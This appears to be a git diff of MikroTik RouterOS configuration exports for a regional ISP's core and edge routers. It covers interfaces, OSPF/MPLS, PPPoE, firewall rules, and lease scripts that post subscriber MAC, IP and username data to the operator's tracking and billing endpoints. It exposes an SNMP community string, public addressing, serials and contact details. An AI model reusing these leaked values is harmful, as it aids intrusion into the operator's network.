||||||
|
add interface=ether4-380-airfiber24 mpls-mtu=1508
|
||||||
|
add interface=ether5-494 mpls-mtu=1508
|
||||||
|
/mpls ldp
|
||||||
|
add disabled=no lsr-id=10.254.254.102 transport-addresses=10.254.254.102 vrf=\
|
||||||
|
main
|
||||||
|
/mpls ldp interface
|
||||||
|
add interface=ether6-verona-11ghz
|
||||||
|
add interface=ether4-380-airfiber24
|
||||||
|
add interface=ether5-494
|
||||||
|
/ppp aaa
|
||||||
|
set interim-update=1h use-radius=yes
|
||||||
|
/radius
|
||||||
|
add address=204.110.191.248 require-message-auth=no service=ppp,hotspot,dhcp \
|
||||||
|
src-address=204.110.188.62 timeout=2s
|
||||||
|
add address=204.110.191.2 require-message-auth=no service=ppp,hotspot,dhcp \
|
||||||
|
src-address=204.110.188.62 timeout=2s
|
||||||
|
/radius incoming
|
||||||
|
set accept=yes
|
||||||
|
/routing bfd configuration
|
||||||
|
add disabled=no interfaces=all min-rx=200ms min-tx=200ms multiplier=5 vrf=\
|
||||||
|
main
|
||||||
|
/routing filter rule
|
||||||
|
add chain=ospf-in disabled=no rule=accept
|
||||||
|
add chain=ospf-out disabled=no rule=accept
|
||||||
|
/routing ospf interface-template
|
||||||
|
add area=backbone-v3 cost=10 disabled=no use-bfd=no
|
||||||
|
add area=backbone-v2 auth=sha512 auth-id=1 cost=10 disabled=no interfaces=\
|
||||||
|
ether6-verona-11ghz priority=1 type=ptp use-bfd=no
|
||||||
|
add area=backbone-v2 auth=sha512 auth-id=1 cost=10 disabled=no interfaces=\
|
||||||
|
ether5-494 priority=1 type=ptp use-bfd=yes
|
||||||
|
add area=backbone-v3 auth=sha512 auth-id=1 cost=10 disabled=no interfaces=\
|
||||||
|
ether3-culleoka-11ghz priority=1 type=ptp use-bfd=no
|
||||||
|
add area=backbone-v2 auth=sha512 auth-id=1 cost=10 disabled=no interfaces=\
|
||||||
|
ether4-380-airfiber24 priority=1 type=ptp use-bfd=no
|
||||||
|
/routing ospf static-neighbor
|
||||||
|
add address=10.250.1.25%ether6-verona-11ghz area=backbone-v2 disabled=no \
|
||||||
|
poll-interval=10s
|
||||||
|
add address=10.250.1.9%ether3-culleoka-11ghz area=backbone-v2 disabled=no \
|
||||||
|
poll-interval=10s
|
||||||
|
/snmp
|
||||||
|
set contact=graham@vntx.net enabled=yes location="33.187291, -96.448119"
|
||||||
|
/system clock
|
||||||
|
set time-zone-autodetect=no time-zone-name=CST6CDT
|
||||||
|
/system identity
|
||||||
|
set name=Climax
|
||||||
|
/system ntp client
|
||||||
|
set enabled=yes
|
||||||
|
/system ntp client servers
|
||||||
|
add address=ntp.vntx.net
|
||||||
|
add address=0.us.pool.ntp.org
|
||||||
|
/system package update
|
||||||
|
set channel=long-term
|
||||||
|
/system routerboard settings
|
||||||
|
# Firmware upgraded successfully, please reboot for changes to take effect!
|
||||||
|
set auto-upgrade=yes enter-setup-on=delete-key
|
||||||
582
mikrotik-tool/core.rsc
Normal file
582
mikrotik-tool/core.rsc
Normal file
|
|
@ -0,0 +1,582 @@
|
||||||
|
# 2026-05-08 17:46:02 by RouterOS 7.21.4
|
||||||
|
# software id = XS5B-41QR
|
||||||
|
#
|
||||||
|
# model = CCR1009-7G-1C-1S+
|
||||||
|
# serial number = 8495073BCE3B
|
||||||
|
/interface ethernet
|
||||||
|
set [ find default-name=combo1 ] l2mtu=9000 name=combo1-380 rx-flow-control=\
|
||||||
|
auto tx-flow-control=auto
|
||||||
|
set [ find default-name=ether1 ] l2mtu=9000 name=ether1-982-60ghz \
|
||||||
|
rx-flow-control=auto tx-flow-control=auto
|
||||||
|
set [ find default-name=ether2 ] l2mtu=9000 name=ether2-office \
|
||||||
|
rx-flow-control=auto tx-flow-control=auto
|
||||||
|
set [ find default-name=ether3 ] l2mtu=9000 name=ether3-edge-direct \
|
||||||
|
rx-flow-control=auto tx-flow-control=auto
|
||||||
|
set [ find default-name=ether4 ] l2mtu=9000 name=ether4-newhope \
|
||||||
|
rx-flow-control=auto tx-flow-control=auto
|
||||||
|
set [ find default-name=ether5 ] l2mtu=2024 name=ether5-climax \
|
||||||
|
rx-flow-control=auto tx-flow-control=auto
|
||||||
|
set [ find default-name=ether6 ] l2mtu=2024 name=ether6-culleoka-11ghz \
|
||||||
|
rx-flow-control=auto tx-flow-control=auto
|
||||||
|
set [ find default-name=ether7 ] disabled=yes l2mtu=9000 name=ether7-380tower \
|
||||||
|
rx-flow-control=auto tx-flow-control=auto
|
||||||
|
set [ find default-name=sfp-sfpplus1 ] l2mtu=9000 name=\
|
||||||
|
sfp-sfpplus1-edge-preseem rx-flow-control=auto tx-flow-control=auto
|
||||||
|
/interface vlan
|
||||||
|
add interface=combo1-380 name=vlan10_combo1 vlan-id=10
|
||||||
|
/interface lte apn
|
||||||
|
set [ find default=yes ] ip-type=ipv4 use-network-apn=no
|
||||||
|
/interface wireless security-profiles
|
||||||
|
set [ find default=yes ] supplicant-identity=MikroTik
|
||||||
|
/ip ipsec proposal
|
||||||
|
set [ find default=yes ] auth-algorithms=sha256 enc-algorithms=\
|
||||||
|
aes-256-cbc,aes-128-cbc pfs-group=modp2048
|
||||||
|
/ip pool
|
||||||
|
add name=sstp ranges=172.16.91.1-172.16.91.253
|
||||||
|
add name=380 ranges=100.64.8.1-100.64.11.230
|
||||||
|
add name=380-mgmt ranges=10.10.64.1-10.10.79.230
|
||||||
|
/ip dhcp-server
|
||||||
|
add address-pool=380 interface=combo1-380 lease-script="{\
|
||||||
|
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
|
||||||
|
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/cd\
|
||||||
|
c24944-c947-4e01-9c54-07a1653d2e3e\"\
|
||||||
|
\n:local url2 \"https://iptrack.vntx.net/api/dhcp\"\
|
||||||
|
\n:local max 1\
|
||||||
|
\n\
|
||||||
|
\n:local attempts 0\
|
||||||
|
\n:local success1 0\
|
||||||
|
\n:local success2 0\
|
||||||
|
\n:do {\
|
||||||
|
\n :set attempts (\$attempts+1);\
|
||||||
|
\n :if (\$leaseBound = 0) do {\
|
||||||
|
\n # Try url2 (iptrack.vntx.net) - deassignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
|
||||||
|
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"DHCP deassignment successfully sent to iptrack.vntx.ne\
|
||||||
|
t for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send deassignment to iptrack.vntx.net \
|
||||||
|
on attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia) - deassignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
|
||||||
|
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"DHCP deassignment successfully sent to gaiia AWS API f\
|
||||||
|
or \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send deassignment to gaiia AWS API on \
|
||||||
|
attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 != 1 || \$success2 != 1) do={\
|
||||||
|
\n :delay 3s;\
|
||||||
|
\n }\
|
||||||
|
\n } else {\
|
||||||
|
\n :delay 1s;\
|
||||||
|
\n :local remoteID [/ip dhcp-server lease get [find where address=\$lea\
|
||||||
|
seActIP] agent-remote-id];\
|
||||||
|
\n\
|
||||||
|
\n # Try url2 (iptrack.vntx.net) - assignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
|
||||||
|
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\$remoteID\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"DHCP assignment successfully sent to iptrack.vntx.net \
|
||||||
|
for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send assignment to iptrack.vntx.net on\
|
||||||
|
\_attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\"\
|
||||||
|
;\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia) - assignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
|
||||||
|
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\$remoteID\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"DHCP assignment successfully sent to gaiia AWS API for\
|
||||||
|
\_\$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send assignment to gaiia AWS API on at\
|
||||||
|
tempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 != 1 || \$success2 != 1) do={\
|
||||||
|
\n :delay 30s;\
|
||||||
|
\n }\
|
||||||
|
\n }\
|
||||||
|
\n :if (\$success1 = 1 && \$success2 = 1) do {\
|
||||||
|
\n :set attempts \$max;\
|
||||||
|
\n }\
|
||||||
|
\n} while ( \$attempts < \$max )\
|
||||||
|
\n}\
|
||||||
|
\n" lease-time=1h name=380
|
||||||
|
add address-pool=380-mgmt interface=vlan10_combo1 lease-script="{\
|
||||||
|
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
|
||||||
|
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/cd\
|
||||||
|
c24944-c947-4e01-9c54-07a1653d2e3e\"\
|
||||||
|
\n:local url2 \"https://iptrack.vntx.net/api/dhcp\"\
|
||||||
|
\n:local max 1\
|
||||||
|
\n\
|
||||||
|
\n:local attempts 0\
|
||||||
|
\n:local success1 0\
|
||||||
|
\n:local success2 0\
|
||||||
|
\n:do {\
|
||||||
|
\n :set attempts (\$attempts+1);\
|
||||||
|
\n :if (\$leaseBound = 0) do {\
|
||||||
|
\n # Try url2 (iptrack.vntx.net) - deassignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
|
||||||
|
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"DHCP deassignment successfully sent to iptrack.vntx.ne\
|
||||||
|
t for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send deassignment to iptrack.vntx.net \
|
||||||
|
on attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia) - deassignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
|
||||||
|
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"DHCP deassignment successfully sent to gaiia AWS API f\
|
||||||
|
or \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send deassignment to gaiia AWS API on \
|
||||||
|
attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 != 1 || \$success2 != 1) do={\
|
||||||
|
\n :delay 3s;\
|
||||||
|
\n }\
|
||||||
|
\n } else {\
|
||||||
|
\n :delay 1s;\
|
||||||
|
\n :local remoteID [/ip dhcp-server lease get [find where address=\$lea\
|
||||||
|
seActIP] agent-remote-id];\
|
||||||
|
\n\
|
||||||
|
\n # Try url2 (iptrack.vntx.net) - assignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
|
||||||
|
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\$remoteID\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"DHCP assignment successfully sent to iptrack.vntx.net \
|
||||||
|
for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send assignment to iptrack.vntx.net on\
|
||||||
|
\_attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\"\
|
||||||
|
;\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia) - assignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
|
||||||
|
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\$remoteID\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"DHCP assignment successfully sent to gaiia AWS API for\
|
||||||
|
\_\$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send assignment to gaiia AWS API on at\
|
||||||
|
tempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 != 1 || \$success2 != 1) do={\
|
||||||
|
\n :delay 30s;\
|
||||||
|
\n }\
|
||||||
|
\n }\
|
||||||
|
\n :if (\$success1 = 1 && \$success2 = 1) do {\
|
||||||
|
\n :set attempts \$max;\
|
||||||
|
\n }\
|
||||||
|
\n} while ( \$attempts < \$max )\
|
||||||
|
\n}\
|
||||||
|
\n" lease-time=1h name=380-mgmt
|
||||||
|
/ip smb users
|
||||||
|
set [ find default=yes ] disabled=yes
|
||||||
|
/ppp profile
|
||||||
|
add change-tcp-mss=yes dns-server=204.110.191.240,204.110.191.20 \
|
||||||
|
local-address=100.64.11.253 name=380 on-down="{\
|
||||||
|
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
|
||||||
|
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
|
||||||
|
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
|
||||||
|
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
|
||||||
|
\n:local max 1\
|
||||||
|
\n\
|
||||||
|
\n:local localAddr \$\"local-address\"\
|
||||||
|
\n:local remoteAddr \$\"remote-address\"\
|
||||||
|
\n:local callerId \$\"caller-id\"\
|
||||||
|
\n:local calledId \$\"called-id\"\
|
||||||
|
\n:local interfaceName [/interface get \$interface name]\
|
||||||
|
\n\
|
||||||
|
\n:local attempts 0\
|
||||||
|
\n:local success1 0\
|
||||||
|
\n:local success2 0\
|
||||||
|
\n:do {\
|
||||||
|
\n :set attempts (\$attempts+1);\
|
||||||
|
\n\
|
||||||
|
\n # Try url2 (iptrack.vntx.net)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
|
||||||
|
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
|
||||||
|
d\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
|
||||||
|
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"PPPoE deassignment successfully sent to iptrack.vntx.net\
|
||||||
|
\_for \$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoE FAILED to send deassignment to iptrack.vntx.net o\
|
||||||
|
n attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (AWS API)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
|
||||||
|
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
|
||||||
|
\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
|
||||||
|
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"PPPoE deassignment successfully sent to gaiia AWS API fo\
|
||||||
|
r \$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoPoE FAILED to send deassignment to gaiia AWS API on\
|
||||||
|
\_attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 = 1 && \$success2 = 1) do {\
|
||||||
|
\n :set attempts \$max;\
|
||||||
|
\n } else {\
|
||||||
|
\n :delay 3s;\
|
||||||
|
\n }\
|
||||||
|
\n} while ( \$attempts < \$max )\
|
||||||
|
\n}\
|
||||||
|
\n" on-up="{\
|
||||||
|
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
|
||||||
|
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
|
||||||
|
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
|
||||||
|
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
|
||||||
|
\n:local max 5\
|
||||||
|
\n\
|
||||||
|
\n:local localAddr \$\"local-address\"\
|
||||||
|
\n:local remoteAddr \$\"remote-address\"\
|
||||||
|
\n:local callerId \$\"caller-id\"\
|
||||||
|
\n:local calledId \$\"called-id\"\
|
||||||
|
\n:local interfaceName [/interface get \$interface name]\
|
||||||
|
\n\
|
||||||
|
\n:local attempts 0\
|
||||||
|
\n:local success1 0\
|
||||||
|
\n:local success2 0\
|
||||||
|
\n:do {\
|
||||||
|
\n :set attempts (\$attempts+1);\
|
||||||
|
\n\
|
||||||
|
\n # Try url2 (iptrack.vntx.net)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
|
||||||
|
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
|
||||||
|
d\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
|
||||||
|
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"PPPoE assignment successfully sent to iptrack.vntx.net f\
|
||||||
|
or \$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoE FAILED to send assignment to iptrack.vntx.net on \
|
||||||
|
attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
|
||||||
|
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
|
||||||
|
\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
|
||||||
|
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"PPPoE assignment successfully sent to gaiia AWS API for \
|
||||||
|
\$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoE FAILED to send assignment to gaiia AWS API on att\
|
||||||
|
empt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 = 1 && \$success2 = 1) do {\
|
||||||
|
\n :set attempts \$max;\
|
||||||
|
\n } else {\
|
||||||
|
\n :delay 3s;\
|
||||||
|
\n }\
|
||||||
|
\n} while ( \$attempts < \$max )\
|
||||||
|
\n}\
|
||||||
|
\n" remote-address=380 use-ipv6=no use-upnp=no
|
||||||
|
set *FFFFFFFE local-address=172.16.91.254 remote-address=sstp
|
||||||
|
/queue type
|
||||||
|
add kind=fq-codel name=FQ_Codel
|
||||||
|
/queue interface
|
||||||
|
set combo1-380 queue=FQ_Codel
|
||||||
|
set ether1-982-60ghz queue=FQ_Codel
|
||||||
|
set ether2-office queue=FQ_Codel
|
||||||
|
set ether3-edge-direct queue=FQ_Codel
|
||||||
|
set ether4-newhope queue=FQ_Codel
|
||||||
|
set ether5-climax queue=FQ_Codel
|
||||||
|
set ether6-culleoka-11ghz queue=FQ_Codel
|
||||||
|
set ether7-380tower queue=FQ_Codel
|
||||||
|
set sfp-sfpplus1-edge-preseem queue=FQ_Codel
|
||||||
|
/routing bgp instance
|
||||||
|
add as=65530 name=bgp-instance-1 router-id=10.254.254.253
|
||||||
|
/routing bgp template
|
||||||
|
set default as=65530 disabled=no
|
||||||
|
/routing id
|
||||||
|
add disabled=no id=10.254.254.253 name=id-1 select-dynamic-id=""
|
||||||
|
/routing ospf instance
|
||||||
|
add disabled=no in-filter-chain=ospf-in name=default-v2 out-filter-chain=\
|
||||||
|
ospf-out redistribute=connected,static router-id=id-1 routing-table=main
|
||||||
|
add disabled=no name=default-v3 redistribute=connected,static router-id=id-1 \
|
||||||
|
routing-table=main version=3
|
||||||
|
/routing ospf area
|
||||||
|
add disabled=no instance=default-v2 name=backbone-v2
|
||||||
|
add disabled=no instance=default-v3 name=backbone-v3
|
||||||
|
/routing table
|
||||||
|
add fib name=testnat
|
||||||
|
/snmp community
|
||||||
|
set [ find default=yes ] addresses=204.110.188.0/22,10.0.0.0/8 name=\
|
||||||
|
kdyyJrT0Mm
|
||||||
|
/system logging action
|
||||||
|
add name=logs remote=204.110.191.229 remote-port=1514 src-address=\
|
||||||
|
10.254.254.253 target=remote
|
||||||
|
/ip smb
|
||||||
|
set enabled=no
|
||||||
|
/ip firewall connection tracking
|
||||||
|
set tcp-established-timeout=4h tcp-fin-wait-timeout=2m tcp-time-wait-timeout=\
|
||||||
|
2m
|
||||||
|
/ip neighbor discovery-settings
|
||||||
|
set discover-interface-list=!dynamic
|
||||||
|
/ip settings
|
||||||
|
set max-neighbor-entries=8192 tcp-syncookies=yes
|
||||||
|
/ipv6 settings
|
||||||
|
set max-neighbor-entries=8192 soft-max-neighbor-entries=8191
|
||||||
|
/interface pppoe-server server
|
||||||
|
add authentication=mschap2 default-profile=380 disabled=no interface=\
|
||||||
|
combo1-380 max-mru=1492 max-mtu=1492 service-name=380
|
||||||
|
/interface sstp-server server
|
||||||
|
set certificate=ServerCA enabled=yes
|
||||||
|
/ip address
|
||||||
|
add address=204.110.191.185/30 interface=sfp-sfpplus1-edge-preseem network=\
|
||||||
|
204.110.191.184
|
||||||
|
add address=10.0.0.254/24 disabled=yes interface=ether7-380tower network=\
|
||||||
|
10.0.0.0
|
||||||
|
add address=10.250.1.89/29 interface=ether5-climax network=10.250.1.88
|
||||||
|
add address=10.250.1.62/29 interface=ether4-newhope network=10.250.1.56
|
||||||
|
add address=204.110.191.181/30 interface=ether3-edge-direct network=\
|
||||||
|
204.110.191.180
|
||||||
|
add address=10.254.254.253 interface=lo network=10.254.254.253
|
||||||
|
add address=10.250.2.6/29 interface=ether2-office network=10.250.2.0
|
||||||
|
add address=10.250.1.38/29 interface=ether1-982-60ghz network=10.250.1.32
|
||||||
|
add address=10.250.1.54/29 interface=ether6-culleoka-11ghz network=\
|
||||||
|
10.250.1.48
|
||||||
|
add address=10.250.1.246/29 disabled=yes interface=combo1-380 network=\
|
||||||
|
10.250.1.240
|
||||||
|
add address=100.64.11.254/22 interface=combo1-380 network=100.64.8.0
|
||||||
|
add address=10.10.79.254/20 interface=vlan10_combo1 network=10.10.64.0
|
||||||
|
/ip dhcp-server network
|
||||||
|
add address=10.10.64.0/20 dns-server=204.110.191.240,204.110.191.20 domain=\
|
||||||
|
vntx.net gateway=10.10.79.254 ntp-server=204.110.191.19
|
||||||
|
add address=100.64.8.0/22 dns-server=204.110.191.240,204.110.191.20 domain=\
|
||||||
|
vntx.net gateway=100.64.11.254 ntp-server=204.110.191.19
|
||||||
|
/ip dns
|
||||||
|
set servers=9.9.9.9,1.1.1.1
|
||||||
|
/ip firewall filter
|
||||||
|
add action=accept chain=forward comment=\
|
||||||
|
"bypass fasttrack for MPLS spine (out)" out-interface=ether1-982-60ghz
|
||||||
|
add action=accept chain=forward comment=\
|
||||||
|
"bypass fasttrack for MPLS spine (in)" in-interface=ether1-982-60ghz
|
||||||
|
add action=accept chain=forward comment=\
|
||||||
|
"bypass fasttrack for MPLS spine (out)" out-interface=ether4-newhope
|
||||||
|
add action=accept chain=forward comment=\
|
||||||
|
"bypass fasttrack for MPLS spine (in)" in-interface=ether4-newhope
|
||||||
|
add action=accept chain=forward comment=\
|
||||||
|
"bypass fasttrack for MPLS spine (out)" out-interface=\
|
||||||
|
ether6-culleoka-11ghz
|
||||||
|
add action=accept chain=forward comment=\
|
||||||
|
"bypass fasttrack for MPLS spine (in)" in-interface=ether6-culleoka-11ghz
|
||||||
|
add action=accept chain=forward comment=\
|
||||||
|
"bypass fasttrack for MPLS spine (out)" out-interface=ether5-climax
|
||||||
|
add action=accept chain=forward comment=\
|
||||||
|
"bypass fasttrack for MPLS spine (in)" in-interface=ether5-climax
|
||||||
|
add action=fasttrack-connection chain=forward comment=\
|
||||||
|
"fasttrack established/related" connection-state=established,related
|
||||||
|
add action=drop chain=forward disabled=yes src-address-list=suspended
|
||||||
|
add action=drop chain=forward disabled=yes dst-address-list=suspended
|
||||||
|
add action=accept chain=forward comment="accept established/related" \
|
||||||
|
connection-state=established,related
|
||||||
|
/ip ipsec profile
|
||||||
|
set [ find default=yes ] dh-group=modp2048 dpd-interval=2m \
|
||||||
|
dpd-maximum-failures=5 enc-algorithm=aes-256,aes-128 hash-algorithm=\
|
||||||
|
sha256
|
||||||
|
/ip proxy
|
||||||
|
set port=29347
|
||||||
|
/ip proxy access
|
||||||
|
add src-address=10.0.0.0/8
|
||||||
|
add src-address=100.64.0.0/10
|
||||||
|
add src-address=204.110.188.0/22
|
||||||
|
add action=deny
|
||||||
|
/ip route
|
||||||
|
add check-gateway=ping disabled=no dst-address=0.0.0.0/0 gateway=\
|
||||||
|
204.110.191.186
|
||||||
|
add disabled=no distance=1 dst-address=204.110.188.32/27 gateway=10.250.1.94 \
|
||||||
|
routing-table=main scope=30 target-scope=10
|
||||||
|
add disabled=no distance=1 dst-address=10.250.1.88/29 gateway=10.250.1.94 \
|
||||||
|
routing-table=main scope=30 target-scope=10
|
||||||
|
add dst-address=10.254.254.101/32 gateway=10.250.1.94
|
||||||
|
add dst-address=10.254.254.102/32 gateway=10.250.1.94
|
||||||
|
add dst-address=10.250.1.64/29 gateway=10.250.1.94
|
||||||
|
add dst-address=10.250.1.24/29 gateway=10.250.1.94
|
||||||
|
add dst-address=10.250.1.8/29 gateway=10.250.1.94
|
||||||
|
